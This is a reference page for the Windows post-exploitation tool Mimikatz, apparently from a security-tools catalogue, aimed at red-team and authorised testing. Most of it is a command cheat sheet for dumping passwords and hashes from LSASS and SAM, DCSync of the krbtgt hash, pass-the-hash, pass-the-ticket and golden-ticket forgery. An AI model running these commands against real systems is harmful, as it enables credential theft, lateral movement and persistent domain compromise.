Post Exploitation
Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.
sudo apt install mimikatz
mimikatz # <command>
Mimikatz is the definitive tool for Windows credential extraction and Kerberos manipulation. It exposes the inherent weaknesses in Windows authentication by demonstrating how credentials can be extracted from memory.
From plaintext passwords to forged Kerberos tickets, Mimikatz provides red teams with comprehensive post-exploitation capabilities for lateral movement and privilege escalation in Windows environments.
privilege::debugEnable SeDebugPrivilege, required before most credential-dumping commandssekurlsa::logonpasswordsDump plaintext passwords, hashes and Kerberos tickets for logged-on users from LSASSsekurlsa::logonpasswords fullDump all credential providers from LSASS with full detailtoken::elevateImpersonate a SYSTEM token to gain the privileges needed for SAM/LSA accesslsadump::samDump the local SAM database (NTLM hashes of local accounts)lsadump::secretsDump LSA secrets (service account passwords, cached data) from the registrylsadump::lsa /injectInject into LSASS to dump all domain account hashes on a DClsadump::lsa /patchPatch LSASS to dump account NTLM hashes (works on a DC)lsadump::dcsync /domain:example.com /user:krbtgtUse the DRS protocol to pull the krbtgt hash from a DC without touching LSASSsekurlsa::pth /user:<USER> /domain:example.com /ntlm:<HASH> /run:cmd.exePass-the-Hash: spawn a process authenticated with an NTLM hashsekurlsa::tickets /exportExtract all Kerberos tickets from LSASS and save them as .kirbi fileskerberos::ptt ticket.kirbiPass-the-Ticket: inject a Kerberos ticket into the current sessionkerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:<HASH> /pttForge a Golden Ticket from the krbtgt hash and inject itkerberos::list /exportList and export Kerberos tickets from the current session's cachesekurlsa::ekeysExtract Kerberos encryption keys (AES/DES/RC4) from LSASSDump cleartext passwords from LSASS memory.
Authenticate using NTLM hashes without cracking.
Forge golden/silver tickets for persistence.
Extract local account hashes from SAM database.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.